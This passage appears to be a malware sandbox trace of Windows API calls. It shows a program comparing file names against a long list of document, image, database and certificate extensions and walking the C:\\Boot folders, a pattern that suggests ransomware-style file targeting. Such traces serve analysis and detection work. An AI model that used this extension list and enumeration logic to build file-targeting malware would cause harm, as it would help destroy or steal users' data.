[0042.938] lstrlenW (lpString=".flm") returned 4 [0042.938] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".flv") returned 4 [0042.938] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".frm") returned 4 [0042.938] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".fxg") returned 4 [0042.938] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".geo") returned 4 [0042.938] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".gif") returned 4 [0042.938] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".grs") returned 4 [0042.939] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".gz") returned 3 [0042.939] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0042.939] lstrlenW (lpString=".h") returned 2 [0042.939] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0042.939] lstrlenW (lpString=".hdr") returned 4 [0042.939] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".hpp") returned 4 [0042.939] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".hta") returned 4 [0042.939] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".htc") returned 4 [0042.939] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".htm") returned 4 [0042.939] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".html") returned 5 [0042.939] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0042.939] lstrlenW (lpString=".icb") returned 4 [0042.939] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".ics") returned 4 [0042.939] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".iff") returned 4 [0042.939] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".inc") returned 4 [0042.939] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".indd") returned 5 [0042.939] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0042.939] lstrlenW (lpString=".ini") returned 4 [0042.939] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".iqy") returned 4 [0042.939] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".j2c") returned 4 [0042.939] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".j2k") returned 4 [0042.939] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0042.939] lstrlenW (lpString=".java") returned 5 [0042.939] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0042.940] lstrlenW (lpString=".jp2") returned 4 [0042.940] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".jpc") returned 4 [0042.940] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".jpe") returned 4 [0042.940] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".jpeg") returned 5 [0042.940] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0042.940] lstrlenW (lpString=".jpf") returned 4 [0042.940] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".jpg") returned 4 [0042.940] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".jpx") returned 4 [0042.940] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".js") returned 3 [0042.940] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0042.940] lstrlenW (lpString=".jsf") returned 4 [0042.940] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".json") returned 5 [0042.940] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0042.940] lstrlenW (lpString=".jsp") returned 4 [0042.940] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".kdc") returned 4 [0042.940] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".kmz") returned 4 [0042.940] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".kwm") returned 4 [0042.940] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".lasso") returned 6 [0042.940] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0042.940] lstrlenW (lpString=".lbi") returned 4 [0042.940] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".lgf") returned 4 [0042.940] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0042.940] lstrlenW (lpString=".lgp") returned 4 [0042.940] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".log") returned 4 [0042.941] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".m1v") returned 4 [0042.941] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".m4a") returned 4 [0042.941] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".m4v") returned 4 [0042.941] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".max") returned 4 [0042.941] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".md") returned 3 [0042.941] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0042.941] lstrlenW (lpString=".mda") returned 4 [0042.941] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mdb") returned 4 [0042.941] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mde") returned 4 [0042.941] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mdf") returned 4 [0042.941] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mdw") returned 4 [0042.941] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mef") returned 4 [0042.941] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mft") returned 4 [0042.941] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mfw") returned 4 [0042.941] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mht") returned 4 [0042.941] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mhtml") returned 6 [0042.941] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0042.941] lstrlenW (lpString=".mka") returned 4 [0042.941] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0042.941] lstrlenW (lpString=".mkidx") returned 6 [0042.941] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0042.942] lstrlenW (lpString=".mkv") returned 4 [0042.942] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0042.942] lstrlenW (lpString=".mos") returned 4 [0042.942] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0042.942] lstrlenW (lpString=".mov") returned 4 [0042.942] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0042.942] lstrlenW (lpString=".mp3") returned 4 [0042.942] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0042.942] lstrlenW (lpString=".mp4") returned 4 [0042.942] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0042.942] lstrlenW (lpString=".mpeg") returned 5 [0042.942] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0042.942] lstrlenW (lpString=".mpg") returned 4 [0042.942] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0042.942] lstrlenW (lpString=".mpv") returned 4 [0042.942] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0042.942] lstrlenW (lpString=".mrw") returned 4 [0042.942] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0042.942] lstrlenW (lpString=".msg") returned 4 [0042.942] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0042.942] lstrlenW (lpString=".mxl") returned 4 [0042.942] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0042.942] lstrlenW (lpString=".myd") returned 4 [0042.942] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0042.942] lstrlenW (lpString=".myi") returned 4 [0042.942] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0042.942] lstrlenW (lpString=".nef") returned 4 [0042.942] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0042.942] lstrlenW (lpString=".nrw") returned 4 [0042.942] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0042.942] lstrlenW (lpString=".obj") returned 4 [0042.942] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0042.942] lstrlenW (lpString=".odb") returned 4 [0042.942] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0042.942] lstrlenW (lpString=".odc") returned 4 [0042.942] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0042.942] lstrlenW (lpString=".odm") returned 4 [0042.943] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".odp") returned 4 [0042.943] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".ods") returned 4 [0042.943] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".oft") returned 4 [0042.943] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".one") returned 4 [0042.943] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".onepkg") returned 7 [0042.943] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0042.943] lstrlenW (lpString=".onetoc2") returned 8 [0042.943] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0042.943] lstrlenW (lpString=".opt") returned 4 [0042.943] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".oqy") returned 4 [0042.943] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".orf") returned 4 [0042.943] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".p12") returned 4 [0042.943] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".p7b") returned 4 [0042.943] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".p7c") returned 4 [0042.943] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".pam") returned 4 [0042.943] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".pbm") returned 4 [0042.943] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".pct") returned 4 [0042.943] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".pcx") returned 4 [0042.943] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".pdd") returned 4 [0042.943] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0042.943] lstrlenW (lpString=".pdf") returned 4 [0042.943] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pdp") returned 4 [0042.944] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pef") returned 4 [0042.944] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pem") returned 4 [0042.944] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pff") returned 4 [0042.944] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pfm") returned 4 [0042.944] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pfx") returned 4 [0042.944] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pgm") returned 4 [0042.944] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".php") returned 4 [0042.944] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".php3") returned 5 [0042.944] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0042.944] lstrlenW (lpString=".php4") returned 5 [0042.944] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0042.944] lstrlenW (lpString=".php5") returned 5 [0042.944] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0042.944] lstrlenW (lpString=".phtml") returned 6 [0042.944] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0042.944] lstrlenW (lpString=".pict") returned 5 [0042.944] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0042.944] lstrlenW (lpString=".pl") returned 3 [0042.944] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0042.944] lstrlenW (lpString=".pls") returned 4 [0042.944] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pm") returned 3 [0042.944] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0042.944] lstrlenW (lpString=".png") returned 4 [0042.944] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pnm") returned 4 [0042.944] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0042.944] lstrlenW (lpString=".pot") returned 4 [0042.945] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".potm") returned 5 [0042.945] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0042.945] lstrlenW (lpString=".potx") returned 5 [0042.945] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0042.945] lstrlenW (lpString=".ppa") returned 4 [0042.945] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".ppam") returned 5 [0042.945] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0042.945] lstrlenW (lpString=".ppm") returned 4 [0042.945] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".pps") returned 4 [0042.945] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".ppsm") returned 5 [0042.945] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0042.945] lstrlenW (lpString=".ppt") returned 4 [0042.945] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".pptm") returned 5 [0042.945] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0042.945] lstrlenW (lpString=".pptx") returned 5 [0042.945] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0042.945] lstrlenW (lpString=".prn") returned 4 [0042.945] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".ps") returned 3 [0042.945] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0042.945] lstrlenW (lpString=".psb") returned 4 [0042.945] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".psd") returned 4 [0042.945] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".pst") returned 4 [0042.945] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".ptx") returned 4 [0042.945] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".pub") returned 4 [0042.945] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0042.945] lstrlenW (lpString=".pwm") returned 4 [0042.945] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0042.946] lstrlenW (lpString=".pxr") returned 4 [0042.946] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0042.946] lstrlenW (lpString=".py") returned 3 [0042.946] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0042.946] lstrlenW (lpString=".qt") returned 3 [0042.946] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0042.946] lstrlenW (lpString=".r3d") returned 4 [0042.946] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0042.946] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0042.946] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0042.946] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0042.946] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0042.946] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0042.946] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.946] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.946] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0042.946] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0042.946] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0042.946] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0042.947] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0042.947] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.947] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.947] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0042.947] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0042.947] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0042.947] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0042.947] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0042.947] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.947] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.947] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0042.947] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0042.947] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0042.947] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0042.948] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.092] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.092] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.092] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.092] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.092] FindNextFileW (in: hFindFile=0x7b1d90, 